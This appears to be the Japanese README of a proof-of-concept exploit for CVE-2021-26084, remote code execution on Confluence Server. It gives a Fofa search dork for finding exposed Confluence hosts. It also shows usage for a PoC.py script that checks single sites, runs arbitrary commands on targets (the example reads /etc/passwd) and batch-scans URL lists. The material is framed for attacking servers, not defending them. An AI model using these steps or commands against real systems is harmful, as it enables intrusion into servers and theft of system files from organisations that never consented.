CVE-2021-26084

CVE-2021-26084 Confluenceサーバー上でのリモートコード実行。

Dork

Fofa:

app="ATLASSIAN-Confluence"

使用方法

ヘルプ情報を表示します。

python PoC.py

個別のWebサイトに対する脆弱性確認。

python PoC.py -u https://1.1.1.1

コマンド実行。

python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd'

バッチテスト。

python PoC.py -f urls.txt